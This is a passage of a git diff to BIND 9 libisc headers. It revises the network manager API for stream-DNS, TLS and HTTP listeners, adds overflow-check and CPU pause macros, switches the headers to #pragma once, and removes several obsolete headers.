-		    isc_nm_recv_cb_t recv_cb, void *recv_cbarg,
-		    isc_nm_accept_cb_t accept_cb, void *accept_cbarg,
-		    size_t extrahandlesize, int backlog, isc_quota_t *quota,
-		    isc_nmsocket_t **sockp);
+isc_nm_listenstreamdns(isc_nm_t *mgr, uint32_t workers, isc_sockaddr_t *iface,
+		       isc_nm_recv_cb_t recv_cb, void *recv_cbarg,
+		       isc_nm_accept_cb_t accept_cb, void *accept_cbarg,
+		       int backlog, isc_quota_t *quota, isc_tlsctx_t *tlsctx,
+		       isc_nmsocket_t **sockp);
 /*%<
  * Start listening for DNS messages over the TCP interface 'iface', using
  * net manager 'mgr'.
@@ -343,80 +382,15 @@ isc_nm_listentcpdns(isc_nm_t *mgr, isc_sockaddr_t *iface,
  * When a complete DNS message is received on the socket, 'cb' will be
  * called with 'cbarg' as its argument.
  *
- * When a new TCPDNS connection is accepted, 'accept_cb' will be called
- * with 'accept_cbarg' as its argument.
+ * When a new connection is accepted, 'accept_cb' will be called with
+ * 'accept_cbarg' as its argument.
  *
- * When handles are allocated for the socket, 'extrasize' additional bytes
- * will be allocated along with the handle for an associated object
- * (typically ns_client).
+ * Passing a non-NULL value as 'tlsctx' instructs the underlying code
+ * to create a DNS over TLS listener.
  *
  * 'quota' is passed to isc_nm_listentcp() when opening the raw TCP socket.
  */
 
-isc_result_t
-isc_nm_listentlsdns(isc_nm_t *mgr, isc_sockaddr_t *iface,
-		    isc_nm_recv_cb_t recv_cb, void *recv_cbarg,
-		    isc_nm_accept_cb_t accept_cb, void *accept_cbarg,
-		    size_t extrahandlesize, int backlog, isc_quota_t *quota,
-		    isc_tlsctx_t *sslctx, isc_nmsocket_t **sockp);
-/*%<
- * Same as isc_nm_listentcpdns but for an SSL (DoT) socket.
- */
-
-void
-isc_nm_tcpdns_sequential(isc_nmhandle_t *handle);
-/*%<
- * Disable pipelining on this connection. Each DNS packet will be only
- * processed after the previous completes.
- *
- * The socket must be unpaused after the query is processed.  This is done
- * the response is sent, or if we're dropping the query, it will be done
- * when a handle is fully dereferenced by calling the socket's
- * closehandle_cb callback.
- *
- * Note: This can only be run while a message is being processed; if it is
- * run before any messages are read, no messages will be read.
- *
- * Also note: once this has been set, it cannot be reversed for a given
- * connection.
- */
-
-void
-isc_nm_tcpdns_keepalive(isc_nmhandle_t *handle, bool value);
-/*%<
- * Enable/disable keepalive on this connection by setting it to 'value'.
- *
- * When keepalive is active, we switch to using the keepalive timeout
- * to determine when to close a connection, rather than the idle timeout.
- */
-
-void
-isc_nm_tlsdns_sequential(isc_nmhandle_t *handle);
-/*%<
- * Disable pipelining on this connection. Each DNS packet will be only
- * processed after the previous completes.
- *
- * The socket must be unpaused after the query is processed.  This is done
- * the response is sent, or if we're dropping the query, it will be done
- * when a handle is fully dereferenced by calling the socket's
- * closehandle_cb callback.
- *
- * Note: This can only be run while a message is being processed; if it is
- * run before any messages are read, no messages will be read.
- *
- * Also note: once this has been set, it cannot be reversed for a given
- * connection.
- */
-
-void
-isc_nm_tlsdns_keepalive(isc_nmhandle_t *handle, bool value);
-/*%<
- * Enable/disable keepalive on this connection by setting it to 'value'.
- *
- * When keepalive is active, we switch to using the keepalive timeout
- * to determine when to close a connection, rather than the idle timeout.
- */
-
 void
 isc_nm_settimeouts(isc_nm_t *mgr, uint32_t init, uint32_t idle,
 		   uint32_t keepalive, uint32_t advertised);
@@ -424,7 +398,7 @@ isc_nm_settimeouts(isc_nm_t *mgr, uint32_t init, uint32_t idle,
  * Sets the initial, idle, and keepalive timeout values (in milliseconds) to use
  * for TCP connections, and the timeout value to advertise in responses using
  * the EDNS TCP Keepalive option (which should ordinarily be the same
- * as 'keepalive').
+ * as 'keepalive'), in milliseconds.
  *
  * Requires:
  * \li	'mgr' is a valid netmgr.
@@ -441,6 +415,17 @@ isc_nm_setnetbuffers(isc_nm_t *mgr, int32_t recv_tcp, int32_t send_tcp,
  * \li	'mgr' is a valid netmgr.
  */
 
+bool
+isc_nm_getloadbalancesockets(isc_nm_t *mgr);
+void
+isc_nm_setloadbalancesockets(isc_nm_t *mgr, bool enabled);
+/*%<
+ * Get and set value of load balancing of the sockets.
+ *
+ * Requires:
+ * \li	'mgr' is a valid netmgr.
+ */
+
 void
 isc_nm_gettimeouts(isc_nm_t *mgr, uint32_t *initial, uint32_t *idle,
 		   uint32_t *keepalive, uint32_t *advertised);
@@ -475,31 +460,26 @@ isc_nm_setstats(isc_nm_t *mgr, isc_stats_t *stats);
  */
 
 isc_result_t
-isc_nm_listentls(isc_nm_t *mgr, isc_sockaddr_t *iface,
-		 isc_nm_accept_cb_t accept_cb, void *accept_cbarg,
-		 size_t extrahandlesize, int backlog, isc_quota_t *quota,
-		 isc_tlsctx_t *sslctx, isc_nmsocket_t **sockp);
-
-void
-isc_nm_tlsconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
-		  isc_nm_cb_t cb, void *cbarg, isc_tlsctx_t *ctx,
-		  unsigned int timeout, size_t extrahandlesize);
+isc_nm_checkaddr(const isc_sockaddr_t *addr, isc_socktype_t type);
+/*%<
+ * Check whether the specified address is available on the local system
+ * by opening a socket and immediately closing it.
+ *
+ * Requires:
+ *\li	'addr' is not NULL.
+ */
 
 void
-isc_nm_tcpdnsconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
-		     isc_nm_cb_t cb, void *cbarg, unsigned int timeout,
-		     size_t extrahandlesize);
-void
-isc_nm_tlsdnsconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
-		     isc_nm_cb_t cb, void *cbarg, unsigned int timeout,
-		     size_t extrahandlesize, isc_tlsctx_t *sslctx);
+isc_nm_streamdnsconnect(isc_nm_t *mgr, isc_sockaddr_t *local,
+			isc_sockaddr_t *peer, isc_nm_cb_t cb, void *cbarg,
+			unsigned int timeout, isc_tlsctx_t *sslctx,
+			isc_tlsctx_client_session_cache_t *client_sess_cache);
 /*%<
  * Establish a DNS client connection via a TCP or TLS connection, bound to
  * the address 'local' and connected to the address 'peer'.
  *
  * When the connection is complete or has timed out, call 'cb' with
- * argument 'cbarg'. Allocate 'extrahandlesize' additional bytes along
- * with the handle to use for an associated object.
+ * argument 'cbarg'.
  *
  * 'timeout' specifies the timeout interval in milliseconds.
  *
@@ -507,45 +487,201 @@ isc_nm_tlsdnsconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
  * 'cb'.
  */
 
+/*%<
+ * Returns 'true' iff 'handle' is associated with a socket of type
+ * 'isc_nm_tlsdnssocket'.
+ */
+
+bool
+isc_nm_is_http_handle(isc_nmhandle_t *handle);
+/*%<
+ * Returns 'true' iff 'handle' is associated with a socket of type
+ * 'isc_nm_httpsocket'.
+ */
+
+isc_result_t
+isc_nm_listentls(isc_nm_t *mgr, uint32_t workers, isc_sockaddr_t *iface,
+		 isc_nm_accept_cb_t accept_cb, void *accept_cbarg, int backlog,
+		 isc_quota_t *quota, isc_tlsctx_t *sslctx,
+		 isc_nmsocket_t **sockp);
+
+void
+isc_nm_tlsconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
+		  isc_nm_cb_t connect_cb, void *connect_cbarg,
+		  isc_tlsctx_t			    *ctx,
+		  isc_tlsctx_client_session_cache_t *client_sess_cache,
+		  unsigned int			     timeout);
+
+#if HAVE_LIBNGHTTP2
+
+#define ISC_NM_HTTP_DEFAULT_PATH "/dns-query"
+
 void
 isc_nm_httpconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
 		   const char *uri, bool POST, isc_nm_cb_t cb, void *cbarg,
-		   isc_tlsctx_t *ctx, unsigned int timeout,
-		   size_t extrahandlesize);
+		   isc_tlsctx_t			     *ctx,
+		   isc_tlsctx_client_session_cache_t *client_sess_cache,
+		   unsigned int			      timeout);
 
 isc_result_t
-isc_nm_listenhttp(isc_nm_t *mgr, isc_sockaddr_t *iface, int backlog,
-		  isc_quota_t *quota, isc_tlsctx_t *ctx,
+isc_nm_listenhttp(isc_nm_t *mgr, uint32_t workers, isc_sockaddr_t *iface,
+		  int backlog, isc_quota_t *quota, isc_tlsctx_t *ctx,
+		  isc_nm_http_endpoints_t *eps, uint32_t max_concurrent_streams,
 		  isc_nmsocket_t **sockp);
 
+isc_nm_http_endpoints_t *
+isc_nm_http_endpoints_new(isc_mem_t *mctx);
+/*%<
+ * Create a new, empty HTTP endpoints set object.
+ *
+ * Requires:
+ * \li 'mctx' a valid memory context object.
+ */
+
 isc_result_t
-isc_nm_http_endpoint(isc_nmsocket_t *sock, const char *uri, isc_nm_recv_cb_t cb,
-		     void *cbarg, size_t extrahandlesize);
+isc_nm_http_endpoints_add(isc_nm_http_endpoints_t *restrict eps,
+			  const char *uri, const isc_nm_recv_cb_t cb,
+			  void *cbarg);
+/*%< Adds a new endpoint to the given HTTP endpoints set object.
+ *
+ * NOTE: adding an endpoint is allowed only if the endpoint object has
+ * not been passed to isc_nm_listenhttp() yet.
+ *
+ * Requires:
+ * \li 'eps' is a valid pointer to a valid isc_nm_http_endpoints_t
+ * object;
+ * \li 'uri' is a valid pointer to a string of length > 0;
+ * \li 'cb' is a valid pointer to a read callback function.
+ */
+
+void
+isc_nm_http_endpoints_attach(isc_nm_http_endpoints_t  *source,
+			     isc_nm_http_endpoints_t **targetp);
+/*%<
+ * Attaches to an HTTP endpoints set object.
+ *
+ * Requires:
+ * \li 'source' is a non-NULL pointer to a valid
+ * isc_nm_http_endpoints_t object;
+ * \li 'target' is a pointer to a pointer, containing NULL.
+ */
+
+void
+isc_nm_http_endpoints_detach(isc_nm_http_endpoints_t **restrict epsp);
+/*%<
+ * Detaches from an HTTP endpoints set object. When reference count
+ * reaches 0, the object get deleted.
+ *
+ * Requires:
+ * \li 'epsp' is a pointer to a pointer to a valid
+ * isc_nm_http_endpoints_t object.
+ */
+
+bool
+isc_nm_http_path_isvalid(const char *path);
+/*%<
+ * Returns 'true' if 'path' matches the format requirements for
+ * the path component of a URI as defined in RFC 3986 section 3.3.
+ */
+
+void
+isc_nm_http_makeuri(const bool https, const isc_sockaddr_t *sa,
+		    const char *hostname, const uint16_t http_port,
+		    const char *abs_path, char *outbuf,
+		    const size_t outbuf_len);
+/*%<
+ * Makes a URI connection string out of na isc_sockaddr_t object 'sa'
+ * or the specified 'hostname' and 'http_port'.
+ *
+ * Requires:
+ * \li 'abs_path' is a valid absolute HTTP path string;
+ * \li 'outbuf' is a valid pointer to a buffer which will get the result;
+ * \li 'outbuf_len' is a size of the result buffer and is greater than zero.
+ */
+
+void
+isc_nm_http_set_endpoints(isc_nmsocket_t	  *listener,
+			  isc_nm_http_endpoints_t *eps);
+/*%<
+ * Asynchronously replace the set of HTTP endpoints (paths) within
+ * the listener socket object.  The function is intended to be used
+ * during reconfiguration.
+ *
+ * Requires:
+ * \li	'listener' is a pointer to a valid network manager HTTP listener socket;
+ * \li	'eps' is a valid pointer to an HTTP endpoints set.
+ */
+
+#endif /* HAVE_LIBNGHTTP2 */
 
 void
-isc_nm_task_enqueue(isc_nm_t *mgr, isc_task_t *task, int threadid);
+isc_nm_bad_request(isc_nmhandle_t *handle);
 /*%<
- * Enqueue the 'task' onto the netmgr ievents queue.
+ * Perform a transport protocol specific action on the handle in case of a
+ * bad/malformed incoming DNS message.
+ *
+ * NOTE: The function currently is no-op for any protocol except HTTP/2.
+ *
+ * Requires:
+ *  \li 'handle' is a valid netmgr handle object.
+ */
+
+isc_result_t
+isc_nm_xfr_checkperm(isc_nmhandle_t *handle);
+/*%<
+ * Check if it is permitted to do a zone transfer over the given handle.
+ *
+ * Returns:
+ * \li	#ISC_R_SUCCESS		Success, permission check passed successfully
+ * \li	#ISC_R_DOTALPNERROR	No permission because of ALPN tag mismatch
+ * \li	#ISC_R_NOPERM		No permission because of other restrictions
+ * \li  any other result indicates failure (i.e. no permission)
  *
  * Requires:
- * \li 'mgr' is a valid netmgr object
- * \li 'task' is a valid task
- * \li 'threadid' is either the preferred netmgr tid or -1, in which case
- *     tid will be picked randomly. The threadid is capped (by modulo) to
- *     maximum number of 'workers' as specifed in isc_nm_start()
+ * \li	'handle' is a valid connection handle.
  */
 
 void
-isc_nm_work_offload(isc_nm_t *mgr, isc_nm_workcb_t work_cb,
-		    isc_nm_after_workcb_t after_work_cb, void *data);
+isc_nm_set_maxage(isc_nmhandle_t *handle, const uint32_t ttl);
+/*%<
+ * Set the minimal time to live from the server's response Answer
+ * section as a hint to the underlying transport.
+ *
+ * NOTE: The function currently is no-op for any protocol except HTTP/2.
+ *
+ * Requires:
+ *
+ * \li 'handle' is a valid netmgr handle object associated with an accepted
+ * connection.
+ */
+
+isc_nmsocket_type
+isc_nm_socket_type(const isc_nmhandle_t *handle);
+/*%<
+ * Returns the handle's underlying socket type.
+ *
+ * Requires:
+ *  \li 'handle' is a valid netmgr handle object.
+ */
+
+bool
+isc_nm_has_encryption(const isc_nmhandle_t *handle);
 /*%<
- * Schedules a job to be handled by the libuv thread pool (see uv_work_t).
- * The function specified in `work_cb` will be run by a thread in the
- * thread pool; when complete, the `after_work_cb` function will run.
+ * Returns 'true' iff the handle's underlying transport does encryption.
  *
  * Requires:
- * \li 'mgr' is a valid netmgr object.
- * \li We are currently running in a network manager thread.
+ *  \li 'handle' is a valid netmgr handle object.
+ */
+
+const char *
+isc_nm_verify_tls_peer_result_string(const isc_nmhandle_t *handle);
+/*%<
+ * Returns user-readable message describing TLS peer's certificate
+ * validation result. Returns 'NULL' for the transport handles for
+ * which peer verification was not performed.
+ *
+ * Requires:
+ *  \li 'handle' is a valid netmgr handle object.
  */
 
 void
@@ -554,3 +690,48 @@ isc__nm_force_tid(int tid);
  * Force the thread ID to 'tid'. This is STRICTLY for use in unit
  * tests and should not be used in any production code.
  */
+
+void
+isc_nmhandle_setwritetimeout(isc_nmhandle_t *handle, uint64_t write_timeout);
+
+/*
+ * Timer related functions
+ */
+
+typedef struct isc_nm_timer isc_nm_timer_t;
+
+typedef void (*isc_nm_timer_cb)(void *, isc_result_t);
+
+void
+isc_nm_timer_create(isc_nmhandle_t *, isc_nm_timer_cb, void *,
+		    isc_nm_timer_t **);
+
+void
+isc_nm_timer_attach(isc_nm_timer_t *, isc_nm_timer_t **);
+
+void
+isc_nm_timer_detach(isc_nm_timer_t **);
+
+void
+isc_nm_timer_start(isc_nm_timer_t *, uint64_t);
+
+void
+isc_nm_timer_stop(isc_nm_timer_t *);
+
+isc_result_t
+isc_nmhandle_set_tcp_nodelay(isc_nmhandle_t *handle, const bool value);
+/*%<
+ * Disables/Enables Nagle's algorithm on a TCP socket for a
+ * transport backed by TCP (sets TCP_NODELAY if 'value' equals 'true'
+ * or vice versa).
+ *
+ * Requires:
+ *
+ * \li 'handle' is a valid netmgr handle object.
+ */
+
+isc_sockaddr_t
+isc_nmsocket_getaddr(isc_nmsocket_t *sock);
+/*%<
+ * Return the local address of 'sock'.
+ */
diff --git a/lib/isc/include/isc/netscope.h b/lib/isc/include/isc/netscope.h
index 4c413f3e74..307864af76 100644
--- a/lib/isc/include/isc/netscope.h
+++ b/lib/isc/include/isc/netscope.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_NETSCOPE_H
-#define ISC_NETSCOPE_H 1
+#pragma once
 
 /*! \file isc/netscope.h */
 
@@ -33,5 +34,3 @@ isc_result_t
 isc_netscope_pton(int af, char *scopename, void *addr, uint32_t *zoneid);
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_NETSCOPE_H */
diff --git a/lib/isc/include/isc/nonce.h b/lib/isc/include/isc/nonce.h
index 15ac0ce18a..b593e41445 100644
--- a/lib/isc/include/isc/nonce.h
+++ b/lib/isc/include/isc/nonce.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/include/isc/offset.h b/lib/isc/include/isc/offset.h
deleted file mode 100644
index 973459aeb4..0000000000
--- a/lib/isc/include/isc/offset.h
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_OFFSET_H
-#define ISC_OFFSET_H 1
-
-/*! \file
- * \brief
- * File offsets are operating-system dependent.
- */
-#include <limits.h> /* Required for CHAR_BIT. */
-#include <stddef.h> /* For Linux Standard Base. */
-
-#include <sys/types.h>
-
-typedef off_t isc_offset_t;
-
-#endif /* ISC_OFFSET_H */
diff --git a/lib/isc/include/isc/once.h b/lib/isc/include/isc/once.h
index 3f9fe73a77..4771b5cb5e 100644
--- a/lib/isc/include/isc/once.h
+++ b/lib/isc/include/isc/once.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,23 +11,20 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_ONCE_H
-#define ISC_ONCE_H 1
+#pragma once
 
 /*! \file */
 
 #include <pthread.h>
 
-#include <isc/platform.h>
 #include <isc/result.h>
 
 typedef pthread_once_t isc_once_t;
 
 #define ISC_ONCE_INIT PTHREAD_ONCE_INIT
 
-/* XXX We could do fancier error handling... */
-
-#define isc_once_do(op, f) \
-	((pthread_once((op), (f)) == 0) ? ISC_R_SUCCESS : ISC_R_UNEXPECTED)
-
-#endif /* ISC_ONCE_H */
+#define isc_once_do(op, f)                                  \
+	{                                                   \
+		int _ret = pthread_once((op), (f));         \
+		PTHREADS_RUNTIME_CHECK(pthread_once, _ret); \
+	}
diff --git a/lib/isc/include/isc/os.h b/lib/isc/include/isc/os.h
index ce7615a0e3..32770b992f 100644
--- a/lib/isc/include/isc/os.h
+++ b/lib/isc/include/isc/os.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,15 +11,23 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_OS_H
-#define ISC_OS_H 1
+#pragma once
 
 /*! \file isc/os.h */
+#include <sys/stat.h>
 
 #include <isc/lang.h>
+#include <isc/types.h>
 
 ISC_LANG_BEGINDECLS
 
+/*%<
+ * Hardcode the L1 cacheline size of the CPU to 64, this is checked in
+ * the os.c library constructor if operating system provide means to
+ * get the L1 cacheline size using sysconf().
+ */
+#define ISC_OS_CACHELINE_SIZE 64
+
 unsigned int
 isc_os_ncpus(void);
 /*%<
@@ -25,6 +35,18 @@ isc_os_ncpus(void);
  * be determined.
  */
 
-ISC_LANG_ENDDECLS
+unsigned long
+isc_os_cacheline(void);
+/*%<
+ * Return L1 cacheline size of the CPU.
+ * If L1 cache is greater than ISC_OS_CACHELINE_SIZE, ensure it is used
+ * instead of constant. Is common on ppc64le architecture.
+ */
 
-#endif /* ISC_OS_H */
+mode_t
+isc_os_umask(void);
+/*%<
+ * Return umask of the current process as initialized at the program start
+ */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/overflow.h b/lib/isc/include/isc/overflow.h
new file mode 100644
index 0000000000..c272cfa879
--- /dev/null
+++ b/lib/isc/include/isc/overflow.h
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <isc/util.h>
+
+/*
+ * It is awkward to support signed numbers as well, so keep it simple
+ * (with a safety check).
+ */
+#define ISC_OVERFLOW_IS_UNSIGNED(a)                                      \
+	({                                                               \
+		STATIC_ASSERT((typeof(a))-1 > 0,                         \
+			      "overflow checks require unsigned types"); \
+		(a);                                                     \
+	})
+
+#define ISC_OVERFLOW_UINT_MAX(a) ISC_OVERFLOW_IS_UNSIGNED((typeof(a))-1)
+
+#define ISC_OVERFLOW_UINT_MIN(a) ISC_OVERFLOW_IS_UNSIGNED(0)
+
+/*
+ * Return true on overflow, e.g.
+ *
+ *	bool overflow = ISC_OVERFLOW_MUL(count, sizeof(array[0]), &bytes);
+ *	INSIST(!overflow);
+ */
+
+#if HAVE_BUILTIN_MUL_OVERFLOW
+#define ISC_OVERFLOW_MUL(a, b, cp) __builtin_mul_overflow(a, b, cp)
+#else
+#define ISC_OVERFLOW_MUL(a, b, cp)                                           \
+	((ISC_OVERFLOW_UINT_MAX(a) / (b) > (a)) ? (*(cp) = (a) * (b), false) \
+						: true)
+#endif
+
+#if HAVE_BUILTIN_ADD_OVERFLOW
+#define ISC_OVERFLOW_ADD(a, b, cp) __builtin_add_overflow(a, b, cp)
+#else
+#define ISC_OVERFLOW_ADD(a, b, cp)                                           \
+	((ISC_OVERFLOW_UINT_MAX(a) - (b) > (a)) ? (*(cp) = (a) + (b), false) \
+						: true)
+#endif
+
+#if HAVE_BUILTIN_SUB_OVERFLOW
+#define ISC_OVERFLOW_SUB(a, b, cp) __builtin_sub_overflow(a, b, cp)
+#else
+#define ISC_OVERFLOW_SUB(a, b, cp)                                           \
+	((ISC_OVERFLOW_UINT_MIN(a) + (b) < (a)) ? (*(cp) = (a) - (b), false) \
+						: true)
+#endif
+
+#define ISC_CHECKED_MUL(a, b)                                      \
+	({                                                         \
+		typeof(a) _c;                                      \
+		bool	  _overflow = ISC_OVERFLOW_MUL(a, b, &_c); \
+		INSIST(!_overflow);                                \
+		_c;                                                \
+	})
+
+#define ISC_CHECKED_ADD(a, b)                                      \
+	({                                                         \
+		typeof(a) _c;                                      \
+		bool	  _overflow = ISC_OVERFLOW_ADD(a, b, &_c); \
+		INSIST(!_overflow);                                \
+		_c;                                                \
+	})
+
+#define ISC_CHECKED_SUB(a, b)                                     \
+	({                                                        \
+		typeof(a) _c;                                     \
+		bool	  _overflow = ISC_OVERFLOW_SUB(a, b, cp); \
+		INSIST(!_overflow);                               \
+		_c;                                               \
+	})
+
+#define ISC_CHECKED_MUL_ADD(a, b, c)                              \
+	({                                                        \
+		size_t _d;                                        \
+		bool   _overflow = ISC_OVERFLOW_MUL(a, b, &_d) || \
+				 ISC_OVERFLOW_ADD(_d, c, &_d);    \
+		INSIST(!_overflow);                               \
+		_d;                                               \
+	})
diff --git a/lib/isc/include/isc/parseint.h b/lib/isc/include/isc/parseint.h
index 3be4cef95e..aa54772a79 100644
--- a/lib/isc/include/isc/parseint.h
+++ b/lib/isc/include/isc/parseint.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_PARSEINT_H
-#define ISC_PARSEINT_H 1
+#pragma once
 
 #include <inttypes.h>
 
@@ -54,5 +55,3 @@ isc_parse_uint8(uint8_t *uip, const char *string, int base);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_PARSEINT_H */
diff --git a/lib/isc/include/isc/pause.h b/lib/isc/include/isc/pause.h
new file mode 100644
index 0000000000..8d7fa57682
--- /dev/null
+++ b/lib/isc/include/isc/pause.h
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#if defined(__x86_64__)
+#include <immintrin.h>
+#define isc_pause() _mm_pause()
+#elif defined(__i386__)
+#define isc_pause() __asm__ __volatile__("rep; nop")
+#elif defined(__ia64__)
+#define isc_pause() __asm__ __volatile__("hint @pause")
+#elif defined(__aarch64__)
+#define isc_pause() __asm__ __volatile__("isb")
+#elif defined(__arm__) && HAVE_ARM_YIELD
+#define isc_pause() __asm__ __volatile__("yield")
+#elif defined(sun) && (defined(__sparc) || defined(__sparc__))
+#include <synch.h>
+#define isc_pause() smt_pause()
+#elif (defined(__sparc) || defined(__sparc__)) && HAVE_SPARC_PAUSE
+#define isc_pause() __asm__ __volatile__("pause")
+#elif defined(__ppc__) || defined(_ARCH_PPC) || defined(_ARCH_PWR) || \
+	defined(_ARCH_PWR2) || defined(_POWER)
+#define isc_pause() __asm__ volatile("or 27,27,27")
+#else
+#define isc_pause() sched_yield()
+#endif
+
+#define isc_pause_n(iters)                                     \
+	for (size_t __pause = 0; __pause < iters; __pause++) { \
+		isc_pause();                                   \
+	}
diff --git a/lib/isc/include/isc/platform.h.in b/lib/isc/include/isc/platform.h.in
deleted file mode 100644
index a63765c632..0000000000
--- a/lib/isc/include/isc/platform.h.in
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_PLATFORM_H
-#define ISC_PLATFORM_H 1
-
-/*! \file */
-
-/*****
- ***** Platform-dependent defines.
- *****/
-
-/***
- *** Default strerror_r buffer size
- ***/
-
-#define ISC_STRERRORSIZE 128
-
-/***
- *** System limitations
- ***/
-
-#include <limits.h>
-
-#ifndef NAME_MAX
-#define NAME_MAX 256
-#endif
-
-#ifndef PATH_MAX
-#define PATH_MAX 1024
-#endif
-
-#ifndef IOV_MAX
-#define IOV_MAX 1024
-#endif
-
-/***
- *** Miscellaneous.
- ***/
-
-/***
- ***	Windows dll support.
- ***/
-
-#define LIBISC_EXTERNAL_DATA
-#define LIBDNS_EXTERNAL_DATA
-#define LIBISCCC_EXTERNAL_DATA
-#define LIBISCCFG_EXTERNAL_DATA
-#define LIBNS_EXTERNAL_DATA
-#define LIBBIND9_EXTERNAL_DATA
-#define LIBTESTS_EXTERNAL_DATA
-
-/*
- * Tell emacs to use C mode for this file.
- *
- * Local Variables:
- * mode: c
- * End:
- */
-
-#endif /* ISC_PLATFORM_H */
diff --git a/lib/isc/include/isc/pool.h b/lib/isc/include/isc/pool.h
deleted file mode 100644
index 1eae9685dd..0000000000
--- a/lib/isc/include/isc/pool.h
+++ /dev/null
@@ -1,139 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_OBJPOOL_H
-#define ISC_OBJPOOL_H 1
-
-/*****
-***** Module Info
-*****/
-
-/*! \file isc/pool.h
- * \brief An object pool is a mechanism for sharing a small pool of
- * fungible objects among a large number of objects that depend on them.
- *
- * This is useful, for example, when it causes performance problems for
- * large number of zones to share a single memory context or task object,
- * but it would create a different set of problems for them each to have an
- * independent task or memory context.
- */
-
-/***
- *** Imports.
- ***/
-
-#include <isc/lang.h>
-#include <isc/mem.h>
-#include <isc/types.h>
-
-ISC_LANG_BEGINDECLS
-
-/*****
-***** Types.
-*****/
-
-typedef void (*isc_pooldeallocator_t)(void **object);
-
-typedef isc_result_t (*isc_poolinitializer_t)(void **target, void *arg);
-
-typedef struct isc_pool isc_pool_t;
-
-/*****
-***** Functions.
-*****/
-
-isc_result_t
-isc_pool_create(isc_mem_t *mctx, unsigned int count, isc_pooldeallocator_t free,
-		isc_poolinitializer_t init, void *initarg, isc_pool_t **poolp);
-/*%<
- * Create a pool of "count" object pointers. If 'free' is not NULL,
- * it points to a function that will detach the objects.  'init'
- * points to a function that will initialize the arguments, and
- * 'arg' to an argument to be passed into that function (for example,
- * a relevant manager or context object).
- *
- * Requires:
- *
- *\li	'mctx' is a valid memory context.
- *
- *\li	init != NULL
- *
- *\li	poolp != NULL && *poolp == NULL
- *
- * Ensures:
- *
- *\li	On success, '*poolp' points to the new object pool.
- *
